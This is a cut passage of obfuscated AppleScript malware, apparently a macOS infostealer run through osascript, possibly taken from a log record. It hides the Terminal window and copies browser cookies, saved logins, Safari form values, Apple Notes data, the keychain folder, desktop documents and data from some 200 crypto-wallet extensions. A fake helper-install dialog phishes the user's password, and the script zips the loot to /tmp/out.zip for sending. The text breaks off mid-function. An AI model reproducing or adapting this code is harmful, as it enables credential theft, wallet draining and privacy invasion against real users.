\\\"deskwallets/\\\" & item 1 of r7976650121018849761)\" & return & \"end repeat\" & return & \"f1591517285159242142(v2545565665707699343, v5516568614182406442)\" & return & \"do shell script \\\"ditto -c -k --sequesterRsrc \\\" & v2545565665707699343 & \\\" /tmp/out.zip\\\"\" & return & \"f8497057021342530935(0, v5329093948850621050, v6176627993449405708, v6007572078735828114)\" & return & \"do shell script \\\"rm -r \\\" & v2545565665707699343\" & return & \"do shell script \\\"rm /tmp/out.zip\\\"\" & return & \"f7738793407393166782(v5876564239486588955, v2439337587433223164, v6176627993449405708)\" & return & \"try\" & return & \"if f8771517014503093342(v5876564239486588955 & \\\"/.botid\\\") is equal to \\\"\\\" then\" & return & \"f7680579707267924922(v3611835577903818869, v2439337587433223164, v6176627993449405708)\" & return & \"end if\" & return & \"end try\" & return & \"end f7067467169335976972\" & return & \"f7067467169335976972()\" & return'"	Process not Found
osascript -e "tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" \| awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType \| awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder 